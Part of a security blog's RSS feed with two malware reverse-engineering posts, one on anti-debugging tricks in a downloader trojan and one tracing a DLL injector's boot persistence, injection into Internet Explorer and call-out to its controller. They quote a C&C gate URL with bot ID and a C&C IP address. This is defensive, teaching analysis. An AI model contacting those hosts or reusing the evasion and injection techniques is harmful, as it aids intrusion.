				<category><![CDATA[Malware Binaries (exe/dll)]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[downloader]]></category>

		<guid isPermaLink="false">http://realsecurity.wordpress.com/?p=70</guid>
		<description><![CDATA[While perusing some malware for learning purposes I ran across some anti analysis techniques used in Trojan-Downloader.Win32.Agent.abti.
I&#8217;m keeping this post a little more brief by posting fewer screenshots.
MD5:  588573DC336B3695E9FDB890EEFD26DB
Virus Total Results

Anubis Results
Threat Expert Results
Sunbelt sandbox results
The Anubis scan yielded great results, but we are focusing mainly on the anti analysis tricks this time. We [...]]]></description>
			<content:encoded><![CDATA[<p>While perusing some malware for learning purposes I ran across some anti analysis techniques used in Trojan-Downloader.Win32.Agent.abti.</p>
<p>I&#8217;m keeping this post a little more brief by posting fewer screenshots.</p>
<p>MD5:  588573DC336B3695E9FDB890EEFD26DB<br />
<a href="http://www.virustotal.com/analisis/f1015423f77f590ef69a9bf696bfad91" target="_blank">Virus Total Results<br />
</a></p>
<p><a href="http://anubis.iseclab.org/result.php?taskid=68894c02c6a699d44d05672122a558fd&amp;refresh=1" target="_blank">Anubis Results</a></p>
<p><a href="http://www.threatexpert.com/report.aspx?uid=a03715ef-837d-4f9a-b563-5311f1e90c5b" target="_blank">Threat Expert Results</a></p>
<p><a href="http://research.sunbelt-software.com/ViewMalware.aspx?id=5383161" target="_blank">Sunbelt sandbox results</a></p>
<p>The Anubis scan yielded great results, but we are focusing mainly on the anti analysis tricks this time. We will quickly see how the malware downloads it&#8217;s next binary near the end of this post.</p>
<p><strong>load.exe</strong></p>
<p>According to xPELister, this file only imports 1 dll, very strange.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader0.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader0_resize.jpg" alt="4" /></a></p>
<p>A scan of the binary with PEiD yeilds nothing.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader1.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader1.jpg" alt="4" /></a></p>
<p>Running strings, we get the following:</p>
<p>&#8221; /c del &#8221;<br />
&#8221; &gt;&gt; NUL<br />
ntdll.dll<br />
http://<br />
?id=<br />
SleepEx<br />
GetTickCount<br />
GetCommandLineA<br />
Sleep<br />
lstrcatA<br />
GetEnvironmentVariableA<br />
GetShortPathNameA<br />
GetStartupInfoA<br />
QueueUserAPC<br />
IsDebuggerPresent<br />
GetVersionExA<br />
CloseHandle<br />
GetCurrentProcessId<br />
CreateThread<br />
lstrcpyA<br />
KERNEL32.dll</p>
<p>Due to the lack of a full URL in the strings output and the strange lack of imports, we can assume this file is packed with something. The program calls IsDebuggerPresent and GetTickCount, both can be used to look for debuggers.</p>
<p>Sure enough, the first function that gets called when the program is loaded in olly is <a href="http://msdn.microsoft.com/en-us/library/ms680345.aspx">IsDebuggerPresent</a>. If a debugger is present, the value returned in the EAX register will be 1. The screenshot below was taken after letting the function execute and return 1 in EAX.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader2.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader2_resize.jpg" alt="4" /></a></p>
<p>To circumvent this trick, we can simply use the <a href="http://www.openrce.org/downloads/download_file/238">Hide Debugger</a> plugin for olly. After we reload olly and the malware, IsDebuggerPresent returns 0.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader3.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader3_resize.jpg" alt="4" /></a></p>
<p>By simply stepping over the next series of instructions we encounter a call to <a href="http://msdn.microsoft.com/en-us/library/ms724408(VS.85).aspx">GetTickCount</a>. This function can be used to determine how much time has elapsed between instructions. As a debugger pauses the program&#8217;s execution, this counter will increase. At 00402480 we encounter a call to SleepEx.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader4.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader4_resize.jpg" alt="4" /></a></p>
<p>Stepping into the CALL (F7) we see that the timeout parameter is FFFFFFFF or INFINITE. This will cause the program to simply wait forever and not execute any subsequent instructions, rendering debugging useless.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloade5.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader5.jpg" alt="4" /></a></p>
<p>To bypass this, simply set a breakpoint after CALL EBP. The malware author that wrote the code for this downloader used techniques to fool disassemblers. The code changes at run time and therefore a dissasembler doesn&#8217;t know how the program flows exactly. So by making an educated  guess and setting a breakpoint at the beginning of the code 00401000 we can continue on.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader6.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader6.jpg" alt="4" /></a></p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader7.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader7.jpg" alt="4" /></a></p>
<p>Stepping forward a few more instructions sends us to a section of code that sets up a file to be deleted via the command line. The malware will probably delete itself after the binary terminates.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader8jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader8_resize.jpg" alt="4" /></a></p>
<p>Executing several more instructions will suddenly jump us into a new section of code which olly was previously unable to decode. This is probably due to the runtime packer used on this piece of malware.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader9.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader9_resize.jpg" alt="4" /></a></p>
<p>Now that we are in this new section and we know it will contain instructions select module -&gt; Analysis -&gt; Analyze code.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader10.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader10.jpg" alt="4" /></a></p>
<p>Stepping through the code further we encounter sfc_os.dll being loaded. This dll is referenced in methods for disabling system file protection.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader11.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader11_resize.jpg" alt="4" /></a></p>
<p>To wrap up our session, a file is created and written to the drive called inB.tmp.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader12.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader12_resize.jpg" alt="4" /></a></p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader13.jpg"><br />
<img src="http://www.martinsecurity.net/wp-content/uploads/2008/09/downloader13.jpg" alt="4" /></a></p>
<p>Running strings against this new file yeilds what we&#8217;re looking for, the communication used to contact the C&amp;C that was previously hidden.</p>
<p>InternetOpenA<br />
InternetConnectA<br />
HttpOpenRequestA<br />
HttpSendRequestA<br />
InternetQueryDataAvailable<br />
InternetReadFile<br />
InternetCloseHandle<br />
CoInitializeEx<br />
CoInitializeSecurity<br />
CoCreateInstance<br />
CoUninitialize<br />
http://www.bot-tob.ru/hottop/gate.php?id=f84a75cd</p>
<p>We can now connect to the C&amp;C with a valid bot ID and download the next few files.</p>
<p><strong>Lessons Learned:</strong></p>
<p>In this post we&#8217;ve learned how to spot and circumvent a check for IsDebuggerPresent by using a plugin such as hide debugger or simply changing the value of the EAX register by hand. We also learned how to avoid timing checks with GetTicketCount by setting a breakpoint immediately after the call to it. To make this work, execute to the breakpoint as soon as the program is loaded. Lastly, when jumping into an unknown section of code, it can be re-analyzed by olly selecting &#8220;analyze code&#8221;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.martinsecurity.net/2008/09/01/anti-analysis-tricks-in-trojan-downloaderwin32agentabti/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Analysis of a dll injector &#8211; Trojan.Win32.Inject.dnz</title>
		<link>http://www.martinsecurity.net/2008/08/28/analysis-of-a-dll-injector-trojanwin32injectdnz/</link>
		<comments>http://www.martinsecurity.net/2008/08/28/analysis-of-a-dll-injector-trojanwin32injectdnz/#comments</comments>
		<pubDate>Thu, 28 Aug 2008 03:47:34 +0000</pubDate>
		<dc:creator>martinse</dc:creator>
				<category><![CDATA[Malware Binaries (exe/dll)]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[dll]]></category>
		<category><![CDATA[injector]]></category>
		<category><![CDATA[malware]]></category>

		<guid isPermaLink="false">http://realsecurity.wordpress.com/?p=8</guid>
		<description><![CDATA[For my first real foray into reverse engineering, I decided to pick something small and easy to analyse.  Even though this level of analysis isn&#8217;t needed for such a simple piece of malware, it makes for a great sample to learn on.
The file is t.exe (MD5 &#8211; E276F2C49D194DEF764A383482ECBD03).
Virus total results
Anubis report
Threat Expert report:
Sunbelt sandbox report: [...]]]></description>
			<content:encoded><![CDATA[<p>For my first real foray into reverse engineering, I decided to pick something small and easy to analyse.  Even though this level of analysis isn&#8217;t needed for such a simple piece of malware, it makes for a great sample to learn on.</p>
<p>The file is t.exe (MD5 &#8211; E276F2C49D194DEF764A383482ECBD03).</p>
<p><a href="http://www.virustotal.com/analisis/3fde9822e1186ed11e0dbabbcafe1ba4" target="_blank">Virus total results</a></p>
<p><a href="http://anubis.iseclab.org/result.php?taskid=3b2de98a4a9bfa24cd614a06243ee5f6&amp;refresh=1" target="_blank">Anubis report</a></p>
<p><a href="http://www.threatexpert.com/report.aspx?md5=e276f2c49d194def764a383482ecbd03" target="_blank">Threat Expert report</a>:</p>
<p>Sunbelt sandbox report: didn&#8217;t produce any results.</p>
<p><strong>t.exe</strong></p>
<p>We first start by checking to see if the file is packed to obscure it&#8217;s contents. According to PEiD, the file is not packed.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector1.jpg"><img class="alignnone" src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector1.jpg" alt="" width="422" height="238" /></a></p>
<p>To confirm this we can quickly check the file&#8217;s ascii strings. As shown below, several strings are visible. The strings that begin with a period are the different segments that reside inside the executable. In the screenshots I am using the strings shell extension from the iDefense malware analysis pack.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector2.jpg"><img class="alignnone size-full wp-image-10" src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector2.jpg" alt="" width="355" height="148" /></a></p>
<p>Already we&#8217;ve found some clues, it references a dll called shell32.dll and a CLSID</p>
<p>Here&#8217;s a nice definition for <a href="http://www.fileresearchcenter.com/showglossaryterm.html?term=CLSID" target="_blank">CLSID</a></p>
<p>As we continue to look through the file, several more interesting strings pop up, including an IP address, more dlls and a function called WriteFile.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector31.jpg"><img class="alignnone size-full wp-image-34" src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector31.jpg" alt="" width="236" height="383" /></a></p>
<p>We&#8217;ll now start looking at the exe in a debugger (ollydbg).</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector41.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector4_resize.jpg" alt="4" /></a></p>
<p>After loading the file in olly, it&#8217;s easy to spot calls to windows API functions as they are highlighted in red. shell32.dll is referenced at 004022E5. The GetTempPathA call seems pretty self explanatory, so we&#8217;ll set a breakpoint on it (F2). To run the program until the breakpoint, hit F9.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector5.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector5_resize.jpg" alt="4" /></a></p>
<p>We then step over (F8) the instruction and GetTempPathA will be executed. To single step into a instruction, use F7.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector6.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector6_resize.jpg" alt="4" /></a></p>
<p>This function has populated the variable ConcatString with the location of the currently logged in user&#8217;s temp directory. The StringToAdd variable contains the name of the dll we saw in the strings output. Can you guess what lstrcatA does? Again, pretty self explanatory, this function concatenates two strings together.</p>
<p>Executing lstrcatA results in the following being stored in the EAX register.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector7.jpg"><img class="alignnone" src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector7.jpg" alt="" width="385" height="41" /></a></p>
<p>Slightly further down, we encounter another similar block of code which is preparing another file</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector8.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector8_resize.jpg" alt="4" /></a></p>
<p>Continuing on in the code, CreateFileA (self explanatory) is called with 123.info as the file name. This will create a new file called 123.info in the below directory</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector91.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector9_resize.jpg" alt="4" /></a></p>
<p>With the file created, data will now be written to it. The following writes the full path to t.exe into the file using the WriteFile function.<a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector11.jpg"><br />
</a></p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector10.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector10_resize.jpg" alt="4" /></a></p>
<p>We may now navigate to the directory and view the file&#8217;s contents just to double check what happened.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector11.jpg"><img class="alignnone" src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector11.jpg" alt="" width="338" height="181" /></a></p>
<p>Looking back at the debugger, we&#8217;ve reached the end of the first code brach. There are 3 more code branches (CALLs) that get executed before the process is terminated (ExitProcess)</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector12.jpg"><img class="alignnone" src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector12.jpg" alt="" width="494" height="69" /></a></p>
<p>Stepping into the first call at 402387 opens a registry key and writes the value shell32.dll to it. InprocServer32 executes a dll on system startup. This is how the malware will start on system boot.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector13.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector13_resize.jpg" alt="4" /></a></p>
<p>The 3rd call (at 00402392) is also interesting, it checks for the SeShutdownPrivilege which allows the logged in user to shutdown or reboot the PC. If the logged in user has this privilege, the malware will wait 120,000 miliseconds (2 minutes) and then call the the ExitWindowsEx function with EWX_REBOOT as the argument.  This will restart the machine.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector14.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector14_resize.jpg" alt="4" /></a></p>
<p>So far we have learned: t.exe writes two dlls to the user&#8217;s temp directory. It creates a new registry key that allows shell32.dll to start on boot, and then restarts the machine. Simply looking at this piece of malware using behavioral techniques might be frustrating to an analyst since their VM would magically reboot without any notice.</p>
<p><strong>Shell32.dll</strong></p>
<p>We now have a new file to analyze, shell32.dll. In order to debugg a dll with olly, we need to fool the debugger into thinking the dll is an exe. Joe Stewart goes over how to do this in one of his <a href="http://www.joestewart.org/morphine-dll/" target="_blank">articles</a>. With the dll loaded, we may begin debugging.</p>
<p>One of the first things it does, is look at the following registry key. This key contains the path to execute your default web browser and then executes it shortly after using WinExec.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector15.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector15_resize.jpg" alt="4" /></a></p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector16.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector16_resize.jpg" alt="4" /></a></p>
<p>With the browser running (IE in this case), the malware creates a new running thread inside iexplore.exe using CreateRemoteThread. This thread will execute shell32.dll.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector17.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector17_resize.jpg" alt="4" /></a></p>
<p>We can look at the newly loaded IE process and view the dll&#8217;s it has running. There are now two shell32.dll files, 1 legit and the second is our malware.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector19.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector19_resize.jpg" alt="4" /></a></p>
<p>Now that we understand that the file gets injected into IE, we can better understand the following critical series of instructions. shell32.dll must get run on two separate occasions. The first occurs when the computer is rebooted and the malware is first loaded. The second is when the same dll is injected into IE. Each instance results in different braches of code being executed.</p>
<p>The following instructions are what governs which branch of code to execute. Whenever the malware is executed, it will reach the lstrcmpiA function at 00401823. It compares the string2 &#8220;explorer.exe&#8221; against string1 &#8220;shell32.dll&#8221;. When a system first boots, explorer.exe is one of the first files to load, as it is related to the Windows GUI. Explorer.exe will be the process that executes the dll for the first time via the CLSID described above. When the computer first starts and shell32.dll is run, both string1 and string2 will be equal. The comparison function at 00401829 will return 0 (the strings are equal) and the jump at 0040182C will be taken. When the dll is loaded into IE, the calling process will not equal &#8220;explorer.exe&#8221;, a non 0 result will be returned and the jump will not be taken.</p>
<p>When running this dll in a debugger, these two strings will never be equal. In order to follow this branch of code, you would need to set the value of the EAX register to 0 manually before executing the jump instruction. When EAX is 0, the dll performs it&#8217;s injection routine into IE. When EAX is not 0, the dll performs it&#8217;s download routine.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector18.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector18_resize.jpg" alt="4" /></a></p>
<p>When the strings do not match (shell32.dll is called by iexplore.exe) the code flows to where we see the malware try and connect out. The malware creates a socket, gets an IP and calls the connect function. This portion of code will connect us to 209.160.21.76 (not visible in the screenshot below, the IP gets populated at instruction 0040149B). Unfortunately the site is down as of this writing, so I can&#8217;t see the whole interaction. You could always redirect this traffic in a lab and run netcat to intercept the communication, but I&#8217;d already spent enough time on this piece of malware.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector21.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector21_resize.jpg" alt="4" /></a></p>
<p>Lastly, the malware connects using send and receive functions from WS2_32.dll and presumably write the new data onto the machine&#8217;s drive.</p>
<p><a href="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector22.jpg"><img src="http://www.martinsecurity.net/wp-content/uploads/2008/08/injector22_resize.jpg" alt="4" /></a></p>
<p>This was quite a long article for my first post, but I wanted to go into more detail than less. We were lucky that this malware was not packed as that would have made analysis much more difficult. Most of this information could have been gathered from simply looking at it&#8217;s strings, but that would not have given us real insight into how it does what it does.</p>
<p><strong>Lessons learned:</strong></p>
<p>The sandbox results do not tell us about the attempted connection to 209.160.21.76. This is probably because the site is down and the sandbox sites could not reach out and communicate. In several malware investigations, I have run across machines that have been compromised with malware for so long that the C&amp;C they were communicating with had been shutdown. If the malware wasn&#8217;t actively trying to call home, reversing the binary might be the only way to find out who the compromised machine WAS talking to in the past. An investigator would need this information to look through firewall/proxy logs to better understand the situation.</p>
<p>Now that we know about SeShutdownPrivilege, we can be on the lookout for this function referenced in other malware. When performing a behavioral analysis, take into consideration that your machine could reboot itself. Set a breakpoint on ExitWindowsEx if present to prevent the reboot.</p>
<p>Downloader trojans can download code from hostile sites using a variety of methods, this is simply one of them. With the dll being injected into IE we know that this activity would be allowed through a corporate proxy. The malware is essentially browsing the Internet just like a normal user.</p>
<p>Lastly, when performing an investigation we&#8217;ve learned to look for strange dll&#8217;s injected into common processes, such as IE.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.martinsecurity.net/2008/08/28/analysis-of-a-dll-injector-trojanwin32injectdnz/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
